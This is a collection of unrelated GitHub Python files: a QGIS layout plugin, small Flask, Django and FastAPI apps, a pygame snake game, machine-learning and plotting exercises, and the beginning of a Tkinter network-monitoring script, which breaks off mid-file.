self.listWidget.selectedIndexes()\n        template_name = self.listWidget.selectedItems()[0].text()\n        template_path = os.path.join(self.HOME,'bin','profile','template',template_name + '.qpt')\n        \n        if indexes:\n            \n            \n            menu = QMenu()\n            menu.addAction('Cancella Template')\n            menu.addAction('Mostra Preview')\n            # menu.addAction(self.tr('Future context menu option'))\n         \n            menu_choice = menu.exec_(self.listWidget.viewport().mapToGlobal(position))\n\n            try:\n                \n                if menu_choice.text() == 'Cancella Template':\n                    template_name = self.listWidget.selectedItems()[0].text()\n                    template_path = os.path.join(self.HOME,'bin','profile','template',template_name + '.qpt')\n                    \n                    \n                    if os.path.exists(str(template_path)):\n                        os.remove(template_path)\n                        self.loadTemplates\n                        self.txtLayoutName.setText('{} - Cancellato'.format(template_name))\n            \n                    else:\n                        self.txtLayoutName.setText('{} - non è stato cancellato'.format(template_name))\n                elif menu_choice.text() == 'Mostra Preview':\n                    self.listWidget_2.clear()\n                    template_name = self.listWidget.selectedItems()[0].text()\n                    template_path = os.path.join(self.HOME,'bin','profile','template',template_name + '.jpeg')\n                    \n                    item = QListWidgetItem(str(template_name))\n                    item.setData(Qt.UserRole, str(template_name))\n                    icon = QIcon(template_path)\n                    item.setIcon(icon)\n                    self.listWidget_2.addItem(item)\n                    \n            except:# Exception as e:\n                pass#QMessageBox.warning(self, \"Errore\", str(e),  QMessageBox.Ok)\n          \n    def opentepmplatePreview(self):\n    \n        self.listWidget_2.clear()\n        template_name = self.listWidget.selectedItems()[0].text()\n        template_path = os.path.join(self.HOME,'bin','profile','template',template_name + '.jpeg')\n        dlg = ImageViewer()\n        dlg.show_image(template_path)  \n        dlg.exec_()\n    \n    \n    # Does a layout already exist\n    \n    \n    def addMoreTemplates(self):\n          are_you_sure = 'Questo aggiungerà modelli e risorse come file SVG e funzioni di script.\\n\\n'\n          are_you_sure += 'Vuoi sovrascrivere i file esistenti con lo stesso nome?'\n          addMoreBox = QMessageBox()\n          addMoreBox.setIcon(QMessageBox.Question)\n          addMoreBox.setWindowTitle('Aggiungi Template')\n          addMoreBox.setText(are_you_sure)\n          more_information = 'Se schiacci \\'No\\', i file non saranno sovrascritti, ma un nuovo fila verrà aggiunto.\\n\\n'\n          more_information += 'Se schiacci \\'Sì\\' i file che hai modificato manualmente saranno sovrascritti con quelli nuovi.\\n'\n          more_information += 'Se schiacci \\'Annulla\\' Non si apporterà nessuna modifica!\\n\\n'\n          more_information += 'Alcune funzioni potrebbero richiedere il riavvio di QGIS come per le mappe militari prima di funzionare correttamente.'\n          addMoreBox.setDetailedText(more_information)\n          addMoreBox.setStandardButtons(QMessageBox.Cancel|QMessageBox.No|QMessageBox.Yes)\n          \n          button_pressed = addMoreBox.exec_()\n          \n          # Paths to source files and qgis profile directory\n          source_profile = os.path.join(self.HOME,'bin', 'profile')\n          profile_home = QgsApplication.qgisSettingsDirPath()\n\n          # The acutal \"copy\" with or without overwrite (update)\n          if button_pressed == QMessageBox.Yes:\n              copy_tree(source_profile, profile_home)\n              self.loadTemplates()\n          elif button_pressed == QMessageBox.No:\n              copy_tree(source_profile, profile_home, update=1)\n              self.loadTemplates()\n    \n    def suggestLayoutName(self):\n          self.txtLayoutName.setEnabled(True)\n          layout_name_string = self.listWidget.currentItem().text()\n          if self.txtMapTitle != '':\n              layout_name_string += ' ' + self.txtMapTitle.text()\n          self.txtLayoutName.setText(layout_name_string)\n    \n    \n    \n    def layout_exists(self, layout_name):\n          lm = QgsProject.instance().layoutManager()\n          layouts = []\n          for l in lm.layouts():\n              layouts.append(l.name())\n          if layout_name in layouts:\n             return sum(layout_name in s for s in layouts)\n          else:\n             return 0  \n    # Add templates and resources from plugin to user profile (triggers on dialog button clicked signal)\n    # Somehow a lot of QMessageBox's are generated.\n    \n    def layoutLoader(self, template_source, layout_name, title_text):\n        \"\"\" Generate the layout \"\"\"\n        from qgis.core import (QgsProject,\n                       QgsPrintLayout,\n                       QgsReadWriteContext)\n        from qgis.utils import iface\n        from PyQt5.QtXml import QDomDocument\n\n        #template_source = '/home/user/Document/Template.qpt'\n        #layout_name = 'NewLayout'\n        #title_text = 'New Title'\n        \n        # Create objects lm = layout manager, l = print layout\n        lm = QgsProject.instance().layoutManager()\n        l = QgsPrintLayout(QgsProject.instance())\n        l.initializeDefaults()\n        \n        # Load template file and load it into the layout (l)\n        template_file = open(template_source, 'r+', encoding='utf-8')\n        template_content = template_file.read()\n        template_file.close()\n        document = QDomDocument()\n        document.setContent(template_content)\n        context = QgsReadWriteContext()\n        l.loadFromTemplate(document, context)\n        \n        # Give the layout a name (must be unique)\n        l.setName(layout_name)\n        \n        # Get current canvas extent and apply that to all maps (items) in layout\n        # Replace any text \"{{title}}\" in any layout label with the dialog Title text\n        canvas = self.iface.mapCanvas()\n        for item in l.items():\n            if item.type()==65639: # Map\n                item.zoomToExtent(canvas.extent())\n            if item.type()==65641: # Label\n                item.setText(item.text().replace('{{title}}',title_text))\n        \n        # Add layout to layout manager\n        l.refresh()\n        lm.addLayout(l)\n        \n        # Open and show the layout in designer\n        try:\n           self.iface.openLayoutDesigner(l)\n        except:\n           oopsBox = QMessageBox()\n           oopsBox.setIcon(QMessageBox.Warning)\n           oopsBox.setText('Ooops. Qualcosa è andato storto. Il tentativo di aprire il layout generato ({}) ha restituito errori.'.format(l.name()))\n           oopsBox.setWindowTitle('Crea la tua mappa')\n           oopsBox.exec_()\n    \n    def run(self):\n        \"\"\"Run method that performs all the real work\"\"\"\n        # This loads the dialog with templates (again) TODO check when it's best to do this\n        self.loadTemplates()\n        \n        \n\n        # See if OK was pressed TODO: probably need something to happen when pressing \"cancel\" too.\n        #if result:\n        # Get values from dialog list and text fields\n        #show the dialog\n        #self.show()\n        # Run the dialog event loop\n        result = self.exec_()\n        \n        # See if OK was pressed TODO: probably need something to happen when pressing \"cancel\" too.\n        if result:\n            try:\n               template_name = self.listWidget.currentItem().text()\n            except:\n                template_name = ''\n            layout_name = self.txtLayoutName.text()\n            # Generate random layout name for blank names (REDUNDANT?)\n            if layout_name == '':\n               layout_name = 'Layout'\n            \n            # Add function to test the layout name so that it doesn't exist. If it does handle the exception\n            \n            map_title = self.txtMapTitle.text()\n            profile_dir = self.HOME\n            # create the template item selected full path (assuming extension is lower case)\n            template_source = os.path.join(profile_dir,'bin','profile','template',template_name + '.qpt')\n            \n            # Call function to generate layout, renaming duplicate layout names\n            layout_count = self.layout_exists(layout_name) # How many layouts with the same name exist already\n            if layout_count >> 0:\n               name = layout_name.split('_')\n               if layout_count >> 1:\n                  layout_name = '_'.join(name) + '_' + str(layout_count + 1)\n               else:\n                layout_name += '_2'\n            try:\n               if os.path.exists(template_source):\n                  self.layoutLoader(template_source, layout_name, map_title) # CALLING MAIN LAYOUT LOADING PROCESS\n               else:\n                  infoBox = QMessageBox()\n                  infoBox.setIcon(QMessageBox.Information)\n                  infoBox.setText('Seleziona un template valido dalla lista.')\n                  infoBox.setWindowTitle('Crea la tua mappa')\n                  infoBox.exec_()\n            except:\n               oopsBox = QMessageBox()\n               oopsBox.setIcon(QMessageBox.Warning)\n               oopsBox.setText('Ooops. qualcosa è andato storto ({}). Ma non so cosa?'.format(layout_name))\n               oopsBox.setWindowTitle('Crea la tua mappa')\n               oopsBox.setDetailedText('Titolo della Mappa: {}\\nNome del Template: {}\\nNome del Layout: {}\\nDorectory del profilo {}\\nPath del Template: {}\\nConteggio Layout: {}' % (map_title, template_name, layout_name, profile_dir, template_source, layout_count))\n               oopsBox.exec_()\n                   \n            # Clean up\n            self.txtLayoutName.clear()\n            self.txtLayoutName.setEnabled(False)\n            self.txtMapTitle.clear()\n            self.txtMapTitle.setFocus()\n        self.reject()\n","repo_name":"pyarchinit/pyarchinit","sub_path":"tabs/PRINTMAP.py","file_name":"PRINTMAP.py","file_ext":"py","file_size_in_byte":13353,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"73387643208","text":"from django.urls import path\nfrom . import views\n\n\napp_name = 'analysis'\nurlpatterns = [\n    path('', views.home, name='home'),\n    path('upload/', views.upload, name='upload'),\n    path('train/', views.train, name='train'),\n    path('predict/', views.predict, name='predict'),\n]\n","repo_name":"ground0state/cosmos","sub_path":"app/analysis/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71027624329","text":"from flask import Flask, redirect, session, request, render_template , flash\nfrom mysqlconnection import connectToMySQL\n\napp=Flask(__name__)\napp.secret_key='this is a secret'\ndb_name='lead_gen_business'\n\n@app.route('/')\ndef display_dashboard():\n    print(session)\n    mysql = connectToMySQL(db_name)\n    if 'from_date' in session:\n        if 'to_date' in session:\n            query = \"\"\"SELECT concat(clients.first_name,' ',clients.last_name) as client_name , count(leads.leads_id) as number_of_leads FROM clients\n JOIN sites ON clients.client_id = sites.client_id \n JOIN leads ON sites.site_id = leads.site_id \n WHERE leads.registered_datetime BETWEEN %(from_date)s and %(to_date)s GROUP BY clients.client_id;\"\"\"\n            data = {\n                'from_date':session['from_date'],\n                'to_date':session['to_date']\n            }\n            query_result = mysql.query_db(query, data=data)\n            return render_template('index.html',query_result=query_result)\n        else:\n            flash('')\n    else:\n        flash('')\n        query = \"\"\"SELECT concat(clients.first_name,' ',clients.last_name) as client_name , count(leads.leads_id) as number_of_leads FROM clients\nJOIN sites ON clients.client_id = sites.client_id \nJOIN leads ON sites.site_id = leads.site_id \nGROUP BY clients.client_id;\"\"\"\n        query_result = mysql.query_db(query)\n        print(query_result)\n        return render_template('index.html', query_result=query_result)\n\n@app.route('/apply_filter', methods=['POST'])\ndef filter_results():\n    # print('*' * 80)\n    # print(request.form)\n    # session={\n    #     'from_date':request.form['from_date'],\n    #     'to_date':request.form['to_date']       \n    # }\n    session['from_date']=request.form['from_date']\n    session['to_date']=request.form['to_date']     \n\n    return redirect('/')\n\nif __name__=='__main__':\n    app.run(debug=True)","repo_name":"Python-November-2018/harshul-laiwala-Py1","sub_path":"04-flask_mysql/02-required/03-leads_and_clients/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2924648891","text":"from fastapi import Depends, APIRouter, HTTPException, status\nfrom sqlalchemy.orm import Session\nfrom pydantic import BaseModel\nfrom pydantic.alias_generators import to_camel\n\nfrom auth.auth import UserInfo\nfrom routers.json_response import json_response\nfrom sql_interface import crud\nfrom sql_interface.database import get_db\n\n\nrouter = APIRouter()\n\n\n@router.get(\"/tags\")\ndef read_tags(\n    user_info: UserInfo,\n    partialName: str = \"\",\n    offset: int = 0,\n    limit: int = 100,\n    db: Session = Depends(get_db),\n):\n    get_tag_result = crud.get_tags(db, partialName, offset, limit)\n\n    tags = []\n    for db_tag in get_tag_result.tags:\n        tags.append({\n            \"id\": db_tag.id,\n            \"name\": db_tag.name,\n        })\n    tags.sort(key=lambda x: x[\"id\"])\n    return json_response({\n        \"tagsCountAll\": get_tag_result.tags_count,\n        \"tags\": tags,\n    })\n\n\nclass CreateTagReqParams(BaseModel):\n    name: str\n\n    class Config:\n        alias_generator = to_camel\n\n\n@router.post(\"/tags\")\ndef create_tag(\n    user_info: UserInfo,\n    params: CreateTagReqParams,\n    db: Session = Depends(get_db),\n):\n    db_tag = crud.get_tag_by_name(db, params.name)\n    if db_tag:\n        # return existing tag info\n        return json_response(\n            {\n                \"id\": db_tag.id,\n                \"name\": db_tag.name,\n            },\n            status.HTTP_409_CONFLICT\n        )\n    created_tag = crud.create_tag(db, params.name)\n\n    return json_response({\n        \"id\": created_tag.id,\n        \"name\": created_tag.name,\n    })\n","repo_name":"tsubasa283paris/purple-archive-server","sub_path":"routers/tags.py","file_name":"tags.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5054198057","text":"from persistent import Persistent\r\n\r\nfrom ...game_object import Player\r\n\r\nclass CharSubcomponent(Persistent):\r\n\tdef __init__(self, player: Player):\r\n\t\tself.object = player\r\n\t\tfor name in dir(self):\r\n\t\t\tif name.startswith(\"on_\"):\r\n\t\t\t\tself.object.add_handler(name[3:], getattr(self, name))\r\n","repo_name":"lcdr/luserver","sub_path":"luserver/components/char/subcomponent.py","file_name":"subcomponent.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"16"}
+{"seq_id":"32226665564","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nimport pymysql\nfrom random import randint\n\nplt.rcParams['font.sans-serif'] = ['KaiTi']\n\n# change root password to yours:\nconn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='root', db='lottery')\n\n# 运行查询:\ncursor = conn.cursor()\ncursor.execute('SELECT id,NAME,date01 FROM lottery0503 ORDER BY NAME, id ASC')\nvalues = cursor.fetchall()\n# print(values)\ntemp1 = 0\nx1 = 0\na = []\nb = []\ncolors = ['b', 'g', 'r', 'c', 'm', 'y', 'k']\nmarkers = ['s', 'p', 'v', 'o', 'd', 'h', 'x']\nfor each1 in values:\n    for index in range(len(each1)):\n        print(\"index:\", index, \"value:\", each1[index])\n        temp = each1[0]\n\n    if (temp > temp1):\n        temp1 = temp\n        print(\"index:\", temp1)\n        name = each1[1]\n        # print(\"name:\", name)\n        x1 = x1 + 1\n        a.append(x1)\n        b.append(float(each1[2]))  # float 是纵坐标排序\n    else:\n        print(\"idx:\", temp)\n        temp1 = temp\n        # name = each1[1]\n        # print(\"name:\", name)\n\n        c = randint(0, 6)\n        d = randint(0, 6)\n        plt.plot(a, b, markers[d] + '-', color=colors[c], label=name)  # s-   方形\n        x1 = 0\n        a.clear()\n        b.clear()\n        x1 = x1 + 1\n        a.append(x1)\n        b.append(float(each1[2]))\n\nplt.xlabel('时间')\nplt.ylabel('赔率')\nplt.title(\"数据走势\")\nplt.legend()\nplt.show()\n\n# 关闭Cursor和Connection:\ncursor.close()\nconn.close()\n","repo_name":"zahq/python1","sub_path":"show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34755876191","text":"from sklearn import datasets\nfrom matplotlib import pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.metrics import accuracy_score, recall_score, f1_score, confusion_matrix\nimport seaborn as sns\n\n# 导入数据集\ndataset = datasets.load_breast_cancer()\ndata = dataset['data']\ntarget = dataset['target']\n\n# 画散点图\nplt.figure()\nfor i in range(30):\n    plt.grid()\n    plt.scatter(data[:, i], target)\n    plt.title(dataset['feature_names'][i])\n    plt.show()\n    plt.clf()\nplt.close()\n\naccuracy_score_list = []\nrecall_score_list = []\nf1_score_list = []\n# 数据划分\n# 尝试不同的数据集划分比例（如9:1,8:2,7:3,…,1:9），分析对预测结果的影响，画出性能关于不同比例的折线图\nfor i in range(1, 10):\n    train_data, test_data, train_target, test_target = train_test_split(data, target, train_size=(1 - i / 10))\n\n    # 数据归一化\n    # 不需要归一化\n\n    # 模型训练\n    GNB = GaussianNB()\n    GNB.fit(train_data, train_target)\n\n    # 模型评估\n    pre = GNB.predict(test_data)\n    print(pre)\n    accuracyscore = accuracy_score(test_target, pre)\n    recallscore = recall_score(test_target, pre, average='macro')\n    f1score = f1_score(test_target, pre, average='macro')\n    accuracy_score_list.append(accuracyscore)\n    recall_score_list.append(recallscore)\n    f1_score_list.append(f1score)\n    print('accuracy_score:', accuracyscore)\n    print('recall_score:', recallscore)\n    print('f1_score:', f1score)\n    print('confusion_matrix:', confusion_matrix(test_target, pre))\n    confusionmatrix = confusion_matrix(test_target, pre)\n    plt.figure()\n    sns.heatmap(confusionmatrix, annot=True, fmt='.2f')\n\n# 性能关于不同比例的折线图\nx = [str(10 - i) + ':' + str(i) for i in range(1, 10)]\ny = [accuracy_score_list, recall_score_list, f1_score_list]\ntitles = ['accuracy_score', 'recall_score', 'f1_score']\nfor i in range(3):\n    plt.figure()\n    plt.grid()\n    plt.plot(x, y[i])\n    plt.title(titles[i])\nplt.show()\n","repo_name":"XBobow/MachineLearning","sub_path":"上机实验二/肿瘤分类与预测-朴素贝叶斯/test4.py","file_name":"test4.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35992660089","text":"import pygame, sys\nimport collections, random\n\n# Random seed for testing purposes\nrandom.seed(101)\n\npygame.init()\n\n# Board\nboard_size = width, height = 500, 300\nscore_bar_size = width, 30\n\n# Screen\nscreen_size = board_size[0], board_size[1] + score_bar_size[1]\nscreen = pygame.display.set_mode(screen_size, flags=pygame.RESIZABLE)      # returns a new Surface object\n\n\n# Colors\nwhite = 255, 255, 255\nblack = 0, 0, 0\ngrey = 100, 100, 100\nred = 255, 0, 0     # reflect red\nblue = 0, 0, 255\n\n# Pygame Constants\nQUIT = pygame.QUIT\nKEYDOWN = pygame.KEYDOWN\nKEYUP = pygame.KEYUP\nK_LEFT = pygame.K_LEFT\nK_RIGHT = pygame.K_RIGHT\nK_UP = pygame.K_UP\nK_DOWN = pygame.K_DOWN\nKMOD_LCTRL = pygame.KMOD_LCTRL\nK_w = pygame.K_w\npygame.key.set_repeat(100) # (delay, interval)\n\n# Snake\nsnake_unit_size = 18\nsnake_direction = K_RIGHT\nsnake_head = pygame.Rect(((width/4) // snake_unit_size * snake_unit_size, (height/2) // snake_unit_size * snake_unit_size), (snake_unit_size, snake_unit_size))     # multiple of snake_unit_size\nsnake = collections.deque([pygame.Rect((snake_head.x - (i * snake_unit_size), snake_head.y), (snake_unit_size, snake_unit_size)) \n                            for i in range(10)])\n\n# Food\ndef generateFoodPos(width, height, food_unit_rad):\n    \"\"\"Generate a random (x,y) food position on a board \n    of size width by height.\n    \n    Since food is rendered as a circle\n    with a center and radius, the position is returned\n    as the center of the circle. Positions are assigned in food unit sized increments. \"\"\"\n\n    return (random.randrange(food_unit_rad, width-food_unit_rad+1, 2*food_unit_rad), \n                random.randrange(food_unit_rad, height-food_unit_rad+1, 2*food_unit_rad))\n\nfood_unit_rad = snake_unit_size // 2\nfood_center = generateFoodPos(width, height, food_unit_rad)\n\n\n\n# Initial rendering\nfor snake_unit_rect in snake:\n    pygame.draw.rect(screen, blue, snake_unit_rect)\nfood_rect = pygame.draw.circle(screen, red, food_center, food_unit_rad)\nscore_bar = pygame.Surface((score_bar_size))\nscore_bar.fill(grey)\nscreen.blit(score_bar, (0, height))\nscore = 0\n\nwhile 1:\n    for event in pygame.event.get():\n        if event.type == QUIT: \n            pygame.quit()\n            sys.exit()\n        if event.type == KEYDOWN or event.type == KEYUP:\n            if event.mod == pygame.KMOD_NONE:\n                print(\"No modifier keys were in a\" \n                    \" pressed state when this event occurred.\")\n            else:\n                if event.mod & KMOD_LCTRL and event.key == K_w:\n                    pygame.quit()\n                    sys.exit()\n    \n    keys = pygame.key.get_pressed()\n    if keys[K_LEFT] and snake_direction != K_RIGHT:\n        snake_direction = K_LEFT\n        snake_head.x -= snake_unit_size\n    elif keys[K_RIGHT] and snake_direction != K_LEFT:\n        snake_direction = K_RIGHT\n        snake_head.x += snake_unit_size\n    elif keys[K_UP] and snake_direction != K_DOWN:\n        snake_direction = K_UP\n        snake_head.y -= snake_unit_size\n    elif keys[K_DOWN] and snake_direction != K_UP:\n        snake_direction = K_DOWN\n        snake_head.y += snake_unit_size\n    else: \n        # No user input. Advance one step in dir\n        if snake_direction == K_LEFT:\n            snake_head.x -= snake_unit_size\n        elif snake_direction == K_RIGHT:\n            snake_head.x += snake_unit_size\n        elif snake_direction == K_UP:\n            snake_head.y -= snake_unit_size\n        elif snake_direction == K_DOWN:\n            snake_head.y += snake_unit_size\n        \n    # Wall collision\n    if snake_head.x < 0 or snake_head.x >= width       \\\n    or snake_head.y < 0 or snake_head.y >= height:\n        print(\"Snake out of bounds\")\n        break;\n    \n    # Self collision\n    if snake_head.collidelist(snake) != -1:\n        print(\"Snake hit itself\")\n        break;\n    \n    # Food collision\n    if snake_head.colliderect(food_rect):\n        score += 1\n        food_center = generateFoodPos(width, height, food_unit_rad)\n        food_rect = pygame.draw.circle(screen, red, food_center, food_unit_rad)\n        while food_rect.collidelist(snake) != -1:\n            print(\"Regenerate food position\")\n            food_center = generateFoodPos(width, height, food_unit_rad)\n            food_rect = pygame.draw.circle(screen, red, food_center, food_unit_rad)\n        snake.appendleft(tuple(snake_head))\n    else:\n        snake.appendleft(tuple(snake_head))\n        snake.pop()\n\n    # Render new states\n    screen.fill(white)\n\n    for snake_unit_rect in snake:\n        pygame.draw.rect(screen, blue, snake_unit_rect)\n    food_rect = pygame.draw.circle(screen, red, food_center, food_unit_rad)\n    score_bar.fill(grey)\n    font = pygame.font.SysFont(None, size=30)\n    score_text = font.render(\"score: \" + str(score), True, white)\n    screen.blit(score_bar, (0, height))\n    screen.blit(score_text, (width - round(1.5*score_text.get_width(),0), height + ((score_bar.get_height() - score_text.get_height()) // 2)))\n\n    pygame.display.flip() #or update\n    pygame.time.delay(50)\n\n\n# On game over, freeze the state of snake\npygame.time.delay(500)\nscreen.fill(white)\n\n# Render game over\nwhile 1:\n    for event in pygame.event.get():\n        if event.type == QUIT: \n            pygame.quit()\n            sys.exit()\n        if event.type == KEYDOWN or event.type == KEYUP:\n            if event.mod == pygame.KMOD_NONE:\n                print(\"No modifier keys were in a pressed \" \n                    \"state when this event occurred.\")\n            else:\n                if event.mod & KMOD_LCTRL and event.key == K_w:\n                    pygame.quit()\n                    sys.exit()\n\n    font = pygame.font.SysFont(None, size=40)\n    endgame_screen = font.render(\"game over. try again?\",\n                                True, black)\n    screen.blit(endgame_screen, (width/4, height/2))\n    pygame.display.flip()\n    pygame.time.delay(500)","repo_name":"elsajyang/snake","sub_path":"snake_simple.py","file_name":"snake_simple.py","file_ext":"py","file_size_in_byte":5880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22465734158","text":"from random import choice, shuffle, seed\nimport string\nfrom functools import reduce\nfrom operator import add\n\nseed(0)\n\n#fn = \"muc\"\n#n = 2\n\n#fn = \"krava\"\n#n = 5\n\nfn = \"zadnji\"\nn = 6\n\nvrstice = [x.strip(\"\\n\") for x in  open(fn + \".txt\")]\n\nw, h = max(map(len, vrstice)), len(vrstice)\n\nhh = (h + n - 1) // n\nww = (w + n - 1) // n\nprint(hh, ww)\npad_hor = \" \" * (n * ww - h)\npad_ver = [\" \" * n * ww] * (ww * n - h)\n\nvrstice = [x + pad_hor for x in vrstice] + pad_ver\n\nallowed = string.ascii_letters + string.digits\nprint(allowed)\ndef rl():\n    return choice(allowed)\n\nsides = sorted({\"\".join(rl() for _ in range(n))\n     for _ in range(10 * (ww + 1) * (hh + 1))})\nshuffle(sides)\nsides = iter(sides)\n\n\nd = [[rl() for _ in range(ww + 1)] for _ in range(hh + 1)]\nvers = [[d[row][col] + next(sides) + d[row + 1][col]\n         for col in range(ww + 1)]\n        for row in range(hh)]\nhors = [[d[row][col] + next(sides) + d[row][col + 1]\n         for col in range(ww)]\n        for row in range(hh + 1)]\n\ndef tile(x, y):\n    xs = slice(x * n, x * n + n)\n    left, right = vers[y][x:x + 2]\n    print(y * n + n - 1, len(vrstice))\n    return [hors[y][x],\n            *[left[yi] + vrstice[y * n + yi][xs] + right[yi] for yi in range(n)],\n            hors[y + 1][x]]\n\ndef obrati(kos):\n    vsi_obrati = []\n    for i in range(2):\n        for j in range(4):\n            vsi_obrati.append(kos)\n            kos = [\"\".join(v[i] for v in kos)[::-1] for i in range(len(kos))]\n        kos = kos[::-1]\n    return vsi_obrati\n\ntiles = [[tile(x, y) for x in range(ww)] for y in range(hh)]\nprint(\"\\n\".join(repr(x) + \",\" for x in tiles))\n\nflat_tiles = reduce(add, tiles)\nshuffle(flat_tiles)\nopen(fn + \"-puzzle.txt\", \"wt\").write(\n    \"\\n\\n\".join(\"\\n\".join(choice(obrati(tile))) for tile in flat_tiles))\n","repo_name":"janezd/predavanja","sub_path":"p1/domace-naloge/2020/11 sestavljanka/razrezi.py","file_name":"razrezi.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"16"}
+{"seq_id":"849034040","text":"# Problema 10\nfrom math import sqrt, floor\n\nsum = 0\n\nfor primes in range(2, 2000000):\n    isPrime = True\n    for divisor in range(2, floor(sqrt(primes)) + 1):\n        if primes % divisor == 0:\n            isPrime = False\n            break\n    if isPrime:\n        sum += primes\nprint(sum)\n","repo_name":"jaumefe/project_euler","sub_path":"10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13274362018","text":"#Program will read two whole numbers and compare the two, showing in the screen a message:\n#-The first value is bigger, -The second value is bigger, -Don't exist bigger value, the two are the same\nfrom time import sleep\nn1 = int(input('Type a first number:'))\nn2 = int(input('Type a second number:'))\nprint('Comparing...')\nsleep(2)\nif n1 > n2:\n    print('The first value is bigger!')\nelif n2 > n1:\n    print('The second value is bigger!')\nelif n1 == n2:\n    print('Dont exist bigger value, the two are the same!')\n","repo_name":"nathaliabrazk/Curso_Python","sub_path":"ex38.py","file_name":"ex38.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12857506173","text":"#AUTH: SUDHANSHU NERKAR \r\nimport os\r\nimport sys\r\nimport socket\r\nimport datetime\r\nimport time\r\nimport tkinter as tk\r\nfrom random import randint, randrange\r\nfrom tkinter import *\r\nfrom PIL import Image,ImageTk\r\nimport threading\r\nimport subprocess\r\nimport datetime\r\nimport psutil\r\nimport datetime\r\nimport os\r\n\r\n\r\ne = datetime.datetime.now()\r\n\r\ne = datetime.datetime.now()\r\n\r\n'''print (\"Current date and time = %s\" % e)\r\n\r\nprint (\"Today's date:  = %s/%s/%s\" % (e.day, e.month, e.year))\r\n\r\nprint (\"The time is now: = %s:%s:%s\" % (e.hour, e.minute, e.second))'''\r\n\r\nFILE = os.path.join(os.getcwd(), \"networkinfo.log\")\r\nfile1 = os.path.join(os.getcwd(), \"cpuinfo.log\")\r\nfile2 = os.path.join(os.getcwd(), \"internetinfo.log\")\r\nfile3 = os.path.join(os.getcwd(), \"task-manager.log\")\r\n\r\n\r\n# creating log file in the currenty directory\r\n# ??getcwd?? get current directory,\r\n# os function, ??path?? to specify path\r\n\r\nroot = Tk()\r\nroot.title(\"SN monitoring tool\")\r\nroot.geometry('550x750')\r\nroot.wm_attributes('-transparentcolor', '#ab23ff')\r\n\r\nbg = PhotoImage(file = \"network.png\")\r\n#bg= Image.open(\"network.png\")\r\n#resize_image = bg.resize((550, 600))\r\n  \r\n# Show image using label\r\nlabel1 = Label( root, image = bg)\r\nlabel1.place(x = 0, y = 0)\r\n#root.config(bg='network.jpeg')\r\n'''load= Image.open(\"8.png\")\r\nresize_image = load.resize((400, 350))\r\nrender = ImageTk.PhotoImage(resize_image)\r\nimg = Label(root, image=render, anchor=CENTER)\r\nbox1 = tk.Label(\r\n    root,\r\n    text=\"Box 1\",\r\n    bg=\"green\",\r\n    fg=\"white\"\r\n)'''\r\n\r\n\r\n\r\n\r\ndef ping():\r\n  # to ping a particular IP\r\n  try:\r\n    socket.setdefaulttimeout(3)\r\n    \r\n    # if data interruption occurs for 3\r\n    # seconds, <except> part will be executed\r\n\r\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n    # AF_INET: address family\r\n    # SOCK_STREAM: type for TCP\r\n\r\n    host = \"8.8.8.8\"\r\n    port = 53\r\n\r\n    server_address = (host, port)\r\n    s.connect(server_address)\r\n\r\n  except OSError as error:\r\n    return False\r\n    # function returns false value\r\n    # after data interruption\r\n\r\n  else:\r\n    s.close()\r\n    # closing the connection after the\r\n    # communication with the server is completed\r\n    return True\r\n\r\n\r\ndef calculate_time(start, stop):\r\n\r\n  # calculating unavailability\r\n  # time and converting it in seconds\r\n  difference = stop - start\r\n  seconds = float(str(difference.total_seconds()))\r\n  return str(datetime.timedelta(seconds=seconds)).split(\".\")[0]\r\n\r\n\r\ndef first_check():\r\n  # to check if the system was already\r\n  # connected to an internet connection\r\n\r\n  if ping():\r\n    # if ping returns true\r\n    live = \"\\nCONNECTION ACQUIRED\\n\"\r\n    print(live)\r\n\r\n    connection_acquired_time = datetime.datetime.now()\r\n    acquiring_message = \"connection acquired at: \" + \\\r\n      str(connection_acquired_time).split(\".\")[0]\r\n    print(acquiring_message)\r\n\r\n    with open(FILE, \"a\") as file:\r\n    \r\n      # writes into the log file\r\n      file.write(live)\r\n      file.write(acquiring_message)\r\n\r\n    return True\r\n\r\n  else:\r\n    # if ping returns false\r\n    not_live = \"\\nCONNECTION NOT ACQUIRED\\n\"\r\n    print(not_live)\r\n\r\n    with open(FILE, \"a\") as file:\r\n    \r\n      # writes into the log file\r\n      file.write(not_live)\r\n    return False\r\n\r\n\r\ndef network():\r\n  print(\"\\n\\n\\n\\n===================NETWORK MONITORING======================\")\r\n  # main function to call functions\r\n  monitor_start_time = datetime.datetime.now()\r\n  monitoring_date_time = \"monitoring started at: \" + \\\r\n    str(monitor_start_time).split(\".\")[0]\r\n\r\n  if first_check():\r\n    # if true\r\n    print(monitoring_date_time)\r\n    \r\n    # monitoring will only start when\r\n    # the connection will be acquired\r\n\r\n  else:\r\n    # if false\r\n    while True:\r\n    \r\n      # infinite loop to see if the connection is 